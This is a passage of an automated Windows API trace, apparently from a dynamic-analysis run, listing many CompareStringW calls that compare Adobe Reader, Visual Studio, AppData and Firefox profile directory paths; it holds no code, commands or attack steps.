dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount2=80) returned 2 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount2=80) returned 2 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 2 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount2=80) returned 2 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 1 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 3 [0033.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount2=80) returned 2 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 3 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 1 [0033.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", cchCount1=46, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\", cchCount2=80) returned 2 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount2=80) returned 2 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\", cchCount2=80) returned 2 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 3 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 1 [0033.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 